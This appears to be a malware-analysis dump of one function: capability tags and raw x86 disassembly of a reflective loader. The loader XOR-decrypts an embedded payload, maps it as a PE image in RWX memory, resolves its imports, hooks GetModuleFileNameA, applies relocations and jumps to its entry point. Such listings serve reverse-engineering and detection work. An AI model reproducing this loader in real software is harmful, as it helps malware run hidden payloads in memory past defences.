Function at 0x100012e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [0x1000a070]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
add eax, 0x10
push 0x3000
push eax
push 0
call esi
mov ecx, dword [0x1000a070]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x1000a36c
push 0x40
shr ecx, 1
push ecx
push sym.sv216208.dll_Ordinal1
mov dword [0x1000a400], eax
call edi
mov edx, dword [0x1000a070]
push 0x1000a36c
shr edx, 1
push 0x40
push edx
push sym.sv216208.dll_Ordinal2
call edi
mov ecx, dword [0x1000a070]
xor eax, eax
test ecx, 0xfffffffe
mov dword [0x1000a3b0], 0x10001980
mov dword [0x1000a3b4], 0x10003ac0
mov dword [0x1000a360], eax
jbe 0x1000138b
mov ecx, dword [0x1000a3b0]
mov dl, byte [eax + ecx]
mov ecx, dword [0x1000a400]
mov byte [ecx + eax*2], dl
mov ecx, dword [0x1000a070]
mov eax, dword [0x1000a360]
mov edx, ecx
inc eax
shr edx, 1
cmp eax, edx
mov dword [0x1000a360], eax
jb 0x10001360
xor eax, eax
test ecx, 0xfffffffe
mov dword [0x1000a360], eax
jbe 0x100013c6
mov ecx, dword [0x1000a3b4]
mov dl, byte [eax + ecx]
mov ecx, dword [0x1000a400]
mov byte [ecx + eax*2 + 1], dl
mov ecx, dword [0x1000a070]
mov eax, dword [0x1000a360]
mov edx, ecx
inc eax
shr edx, 1
cmp eax, edx
mov dword [0x1000a360], eax
jb 0x1000139a
xor edx, edx
xor eax, eax
test ecx, ecx
mov dword [0x1000a36c], edx
mov dword [0x1000a360], eax
jbe 0x1000141c
mov ecx, dword [0x1000a400]
mov dl, byte [edx + 0x1000a060]
xor dl, byte [eax + ecx]
xor dl, al
mov byte [eax + ecx], dl
mov edx, dword [0x1000a36c]
inc edx
cmp edx, 0x10
mov dword [0x1000a36c], edx
jne 0x10001407
xor edx, edx
mov dword [0x1000a36c], edx
mov eax, dword [0x1000a360]
mov ecx, dword [0x1000a070]
inc eax
cmp eax, ecx
mov dword [0x1000a360], eax
jb 0x100013d9
mov ecx, dword [0x1000a400]
push 0x40
mov dword [0x1000a3dc], ecx
push 0x3000
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [0x1000a35c], eax
mov eax, dword [eax + 0x50]
push eax
push 0
call esi
mov ecx, dword [0x1000a3dc]
mov edx, dword [0x1000a35c]
mov dword [0x1000a530], eax
mov edi, eax
mov dword [0x1000a370], eax
xor eax, eax
mov dword [0x1000a3a4], edi
mov dword [0x1000a374], ecx
mov dword [0x1000a36c], eax
mov ecx, dword [edx + 0x54]
test ecx, ecx
jbe 0x100014a1
mov ecx, dword [0x1000a374]
mov dl, byte [ecx + eax]
mov ecx, dword [0x1000a370]
mov byte [ecx + eax], dl
mov eax, dword [0x1000a36c]
mov edx, dword [0x1000a35c]
inc eax
mov dword [0x1000a36c], eax
cmp eax, dword [edx + 0x54]
jb 0x10001473
mov edi, dword [0x1000a3a4]
mov ebx, dword [edi + 0x3c]
mov dword [0x1000a36c], 0
add ebx, edi
mov dword [0x1000a3d0], ebx
lea ecx, [ebx + 0xf8]
mov dword [0x1000a3f0], ecx
cmp word [ebx + 6], 0
jbe 0x10001555
mov eax, dword [ecx + 0x10]
test eax, eax
jbe 0x10001533
mov edx, dword [ecx + 0xc]
mov eax, dword [0x1000a3dc]
add edx, edi
mov dword [0x1000a370], edx
mov esi, dword [ecx + 0x14]
add esi, eax
xor eax, eax
mov dword [0x1000a374], esi
mov dword [0x1000a360], eax
mov ebp, dword [ecx + 0x10]
test ebp, ebp
jbe 0x10001533
jmp 0x1000150b
mov edx, dword [0x1000a370]
mov esi, dword [0x1000a374]
mov cl, byte [esi + eax]
mov byte [edx + eax], cl
mov eax, dword [0x1000a360]
mov ecx, dword [0x1000a3f0]
inc eax
mov dword [0x1000a360], eax
cmp eax, dword [ecx + 0x10]
jb 0x100014ff
mov edi, dword [0x1000a3a4]
mov ebx, dword [0x1000a3d0]
mov eax, dword [0x1000a36c]
add ecx, 0x28
inc eax
xor edx, edx
mov dword [0x1000a3f0], ecx
mov dword [0x1000a36c], eax
mov dx, word [ebx + 6]
cmp eax, edx
jb 0x100014cd
mov eax, dword [0x1000a3dc]
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [0x1000a3d0]
mov esi, dword [0x1000a3a4]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov ecx, dword [ecx + 0x80]
add ecx, esi
mov dword [0x1000a3f4], ecx
cmp dword [ecx], 0
jne 0x1000159e
mov eax, dword [ecx + 0x10]
test eax, eax
je 0x10001687
mov eax, dword [ecx + 0xc]
test eax, eax
je 0x10001679
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x1000a3f4]
mov edi, eax
mov eax, dword [ecx]
test eax, eax
jne 0x100015c3
mov eax, dword [ecx + 0x10]
mov esi, dword [0x1000a3a4]
add eax, esi
mov dword [0x1000a3c8], eax
mov edx, dword [ecx + 0x10]
add edx, esi
mov dword [0x1000a3d4], edx
mov eax, dword [eax]
test eax, eax
je 0x10001679
test eax, 0x80000000
je 0x10001604
and eax, 0xffff
push eax
push edi
mov dword [0x1000a3e8], eax
call ebx
mov ecx, dword [0x1000a3d4]
mov dword [ecx], eax
jmp 0x10001647
lea eax, [eax + esi + 2]
push str.GetModuleFileNameA
push eax
mov dword [0x1000a3e8], eax
call ebp
test eax, eax
jne 0x10001635
mov edx, dword [0x1000a3e8]
push edx
push edi
call ebx
mov dword [0x1000a3b8], eax
mov eax, dword [0x1000a3d4]
mov dword [eax], 0x100012a0
jmp 0x10001647
mov ecx, dword [0x1000a3e8]
push ecx
push edi
call ebx
mov edx, dword [0x1000a3d4]
mov dword [edx], eax
mov esi, dword [0x1000a3d4]
mov eax, dword [0x1000a3c8]
add esi, 4
add eax, 4
mov dword [0x1000a3d4], esi
mov esi, dword [0x1000a3a4]
mov dword [0x1000a3c8], eax
mov eax, dword [eax]
test eax, eax
jne 0x100015e5
mov ecx, dword [0x1000a3f4]
add ecx, 0x14
mov dword [0x1000a3f4], ecx
jmp 0x1000158e
mov eax, dword [0x1000a3d0]
mov edi, esi
mov edx, dword [eax + 0xa0]
mov ebp, dword [eax + 0x34]
add edx, esi
sub edi, ebp
mov dword [0x1000a378], edx
mov eax, dword [edx + 4]
test eax, eax
je 0x10001712
lea ebx, [edx + 8]
lea ebp, [eax - 8]
mov ax, word [ebx]
test ax, ax
je 0x10001702
mov ecx, eax
and ecx, 0xf000
cmp ecx, 0x3000
jne 0x100016f2
mov ecx, dword [edx]
and eax, 0xfff
and eax, 0xffff
add ecx, eax
mov ecx, dword [ecx + esi]
add ecx, edi
mov dword [0x1000a3e8], ecx
mov edx, dword [edx]
add edx, eax
mov dword [edx + esi], ecx
mov esi, dword [0x1000a3a4]
mov edx, dword [0x1000a378]
add ebx, 2
sub ebp, 2
je 0x10001702
mov ax, word [ebx]
test ax, ax
jne 0x100016b6
add edx, dword [edx + 4]
mov dword [0x1000a378], edx
mov eax, dword [edx + 4]
test eax, eax
jne 0x100016a8
mov ebx, dword [0x1000a3ac]
mov dword [0x1000a3a8], ebx
mov ecx, dword [ebx + 0x3c]
add ecx, ebx
mov dword [0x1000a3bc], ecx
lea eax, [ecx + 0xf8]
mov dword [0x1000a250], eax
mov edx, dword [ecx + 0x78]
test edx, edx
mov dword [0x1000a360], edx
je 0x100018c4
xor edi, edi
mov dword [0x1000a36c], edi
cmp word [ecx + 6], di
jbe 0x10001780
mov esi, dword [eax + 0xc]
cmp edx, esi
jb 0x10001767
mov ebp, dword [eax + 8]
add ebp, esi
cmp edx, ebp
jb 0x10001852
add eax, 0x28
inc edi
xor esi, esi
mov dword [0x1000a250], eax
mov dword [0x1000a36c], edi
mov si, word [ecx + 6]
cmp edi, esi
jb 0x10001753
mov eax, dword [0x1000a37c]
mov eax, dword [eax + 0x18]
xor ecx, ecx
mov dword [0x1000a370], eax
mov eax, dword [0x1000a060]
mov cl, ah
and eax, 0xff
push ecx
push eax
push str._d_d
push 0x1000a384
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0x1000a370]
add esp, 0x10
xor ecx, ecx
test eax, eax
mov dword [0x1000a36c], ecx
jbe 0x100018c4
mov edx, dword [0x1000a3a8]
mov eax, dword [0x1000a250]
mov edi, dword [0x1000a37c]
mov esi, dword [edi + 0x20]
push 0x1000a384
lea ecx, [esi + ecx*4]
mov dword [0x1000a360], ecx
mov ebx, dword [eax + 0xc]
sub ecx, ebx
mov dword [0x1000a360], ecx
mov esi, dword [eax + 0x14]
add esi, edx
mov ecx, dword [esi + ecx]
mov dword [0x1000a360], ecx
mov esi, dword [eax + 0xc]
sub ecx, esi
mov dword [0x1000a360], ecx
mov esi, dword [eax + 0x14]
add esi, edx
add esi, ecx
push esi
call fcn.10005c10
mov edi, eax
add esp, 8
test edi, edi
je 0x10001870
push 0x1000a360
push 0x40
push 0x10
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov byte [edi], 0
xor eax, eax
mov dword [0x1000a374], eax
mov dl, byte [esi + eax + 4]
mov byte [eax + esi], dl
mov eax, dword [0x1000a374]
mov cl, byte [esi + eax + 4]
test cl, cl
je 0x1000186c
inc eax
jmp 0x10001836
sub edx, dword [eax + 0xc]
mov dword [0x1000a360], edx
mov eax, dword [eax + 0x14]
add eax, ebx
add eax, edx
mov dword [0x1000a37c], eax
jmp 0x10001785
mov byte [edi - 4], 0
mov edi, dword [0x1000a37c]
mov ecx, dword [0x1000a36c]
xor ebp, ebp
mov eax, dword [edi + 0x24]
lea esi, [eax + ecx*2]
mov eax, dword [0x1000a250]
mov dword [0x1000a360], esi
mov edx, dword [eax + 0xc]
sub esi, edx
mov edx, dword [0x1000a3a8]
mov dword [0x1000a360], esi
mov ebx, dword [eax + 0x14]
add ebx, edx
inc ecx
mov bp, word [ebx + esi]
mov esi, dword [0x1000a370]
cmp ecx, esi
mov dword [0x1000a360], ebp
mov dword [0x1000a36c], ecx
jb 0x100017d6
mov ecx, dword [0x1000a3d0]
pop edi
pop esi
pop ebp
mov eax, dword [ecx + 0x28]
pop ebx
test eax, eax
je 0x100018ee
mov ecx, dword [0x1000a530]
push 0
add eax, ecx
push 1
push ecx
mov dword [0x1000a3d8], eax
call eax
mov dword [0x1000a358], eax
ret